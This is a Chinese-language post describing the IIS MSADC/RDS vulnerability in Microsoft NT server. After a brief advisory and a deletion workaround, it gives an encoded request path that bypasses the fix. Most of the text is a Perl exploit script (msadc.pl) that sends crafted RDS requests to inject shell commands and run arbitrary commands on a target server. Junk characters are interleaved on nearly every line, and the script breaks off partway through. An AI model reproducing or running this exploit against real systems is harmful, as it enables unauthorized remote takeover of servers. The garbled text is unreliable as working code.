IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
N=7pK&NHSG #NryLE!/ 涉及程序:
bXNk%W[n Microsoft NT server
{Sj9%2'M) H|HYo\@F# 描述:
av|g}xnj 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
?snp8W-WB 4v{o 详细:
Ob<{G" 如果你没有时间读详细内容的话,就删除:
:Nz2z[W$ c:\Program Files\Common Files\System\Msadc\msadcs.dll
=7m)sxj]w 有关的安全问题就没有了。
~o~!+`@q pWJFz- 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
V:
TM] L bmawi^ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
JVSA&c%3 关于利用ODBC远程漏洞的描述,请参看:
ybKWOp:O lE(a%'36 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm W~7A+=& LF& z 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
@y\XR http://www.microsoft.com/security/bulletins/MS99-025faq.asp i=oU;7~zK 5lUF7:A># 这里不再论述。
%#xaA'?
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/ l 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
wG-HF'0L 85Otss/mM /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
y1+*6| 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
z?*w8kU&> N@Uy=?)ZJ LAS'u"c| #将下面这段保存为txt文件,然后: "perl -x 文件名"
2so! 9^#c|
0T #!perl
7%|~>
#
6"&6`f # MSADC/RDS 'usage' (aka exploit) script
"ozr+:#\ #
t^G"f;Ra+ # by rain.forest.puppy
cmU1!2.1E #
1oWED*B # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
heC/\@B # beta test and find errors!
$m-2HhqZ (Hb:?( use Socket; use Getopt::Std;
4i(JZN? getopts("e:vd:h:XR", \%args);
UKT%13CO4U aGtf z) print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
po2! %D%8^Zd_ if (!defined $args{h} && !defined $args{R}) {
a C\MJ9 print qq~
OX?\<), Usage: msadc.pl -h <host> { -d <delay> -X -v }
ij( B,Y -h <host> = host you want to scan (ip or domain)
TU,s*D&e -d <seconds> = delay between calls, default 1 second
m!tbkZHQn0 -X = dump Index Server path table, if available
m4hg'<<V -v = verbose
oldA#sA$ -e = external dictionary file for step 5
Ki$MpA3j |Sy<@oq Or a -R will resume a command session
)I^7)x 87
$dBb{ ~; exit;}
.yqM7U_ f=r<nb'H $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
gv-xm if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
%4,O 2\0?& if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
pm
9"4 z if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
F`XP@Xx $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
9CWF{" if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
zck#tht4
n CR"|^{G if (!defined $args{R}){ $ret = &has_msadc;
1AM!8VR2 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
$!-c-0ub R6kD=JY/! print "Please type the NT commandline you want to run (cmd /c assumed):\n"
4gz
H8sF . "cmd /c ";
K<SyC54 $in=<STDIN>; chomp $in;
( u\._Gwsx $command="cmd /c " . $in ;
7e|s
wJ>4 0zlb0[ if (defined $args{R}) {&load; exit;}
|@
s,XS F@'Jbd` print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
BW}U%B^. &try_btcustmr;
W14
J],{L !Sh&3uy_qN print "\nStep 2: Trying to make our own DSN...";
p6#g;$V$ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
i1NY9br D%OQ e#! print "\nStep 3: Trying known DSNs...";
|y!=J$$_H &known_dsn;
/v1Q4mq CYs,` print "\nStep 4: Trying known .mdbs...";
=hC,@R>; &known_mdb;
93("oBd[s( bYpntV if (defined $args{e}){
}Qn&^[[miL print "\nStep 5: Trying dictionary of DSN names...";
Dwr)0nk &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
F;4vPbH+ M "p print "Sorry Charley...maybe next time?\n";
;=eDO(Ij exit;
dJeNbVd )_syZ1j ##############################################################################
; >hNt &5fJPv & sub sendraw { # ripped and modded from whisker
.w=/+TA sleep($delay); # it's a DoS on the server! At least on mine...
r~jm`y my ($pstr)=@_;
\E72L5nJW socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
AN8`7F1 die("Socket problems\n");
|:nOp(A\* if(connect(S,pack "SnA4x8",2,80,$target)){
m? J0i>H
select(S); $|=1;
4o
<Uy print $pstr; my @in=<S>;
LrM=*Rh,O select(STDOUT); close(S);
DCIxRPw return @in;
(C-{B[Y } else { die("Can't connect...\n"); }}
r3&G)g=u y&q*maa[ ##############################################################################
Fq~yL!#! ,Ys %:>? sub make_header { # make the HTTP request
#%iDT6 my $msadc=<<EOT
eL10Q(;P` POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
3G,Oba[$< User-Agent: ACTIVEDATA
[YF>:ydk Host: $ip
;4R$g5-4X Content-Length: $clen
wSzv|\
G Connection: Keep-Alive
591>rh) ]HKQDc' ADCClientVersion:01.06
c}Ft^Il Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
OE_XCZ!5P S!jTyY7e --!ADM!ROX!YOUR!WORLD!
[')m|u~FS4 Content-Type: application/x-varg
"CSsCA$/ Content-Length: $reqlen
#^lL5= QUq_:t+Dv EOT
h58`XH ; $msadc=~s/\n/\r\n/g;
D.B.7-_8 return $msadc;}
s@&`f{ rdl;M>0@ ##############################################################################
sT 3^hY7 dpAjR sub make_req { # make the RDS request
_E &A{HkJ my ($switch, $p1, $p2)=@_;
Bn=by{i my $req=""; my $t1, $t2, $query, $dsn;
q@QksAq 1-%fo~!l if ($switch==1){ # this is the btcustmr.mdb query
a,@]8 r-" $query="Select * from Customers where City=" . make_shell();
~("5yG $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
YIn',]p: $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
;(f)&Yom .*@;@06? elsif ($switch==2){ # this is general make table query
0Is,*Srr $query="create table AZZ (B int, C varchar(10))";
a]JYDq`,3 $dsn="$p1";}
BWeA@v oX#Q<2z* elsif ($switch==3){ # this is general exploit table query
fM]+SMZy $query="select * from AZZ where C=" . make_shell();
@K\~O__ $dsn="$p1";}
q}`${3qQ3 nW PF6V> elsif ($switch==4){ # attempt to hork file info from index server
|4)>:d $query="select path from scope()";
3QV *% $dsn="Provider=MSIDXS;";}
0t^M3+nc IpINH3odT elsif ($switch==5){ # bad query
B -?6M6# $query="select";
yCd-9zb= $dsn="$p1";}
*rM^;4Zt ,0~^>K $t1= make_unicode($query);
:#LLo}LKp $t2= make_unicode($dsn);
2KB\1&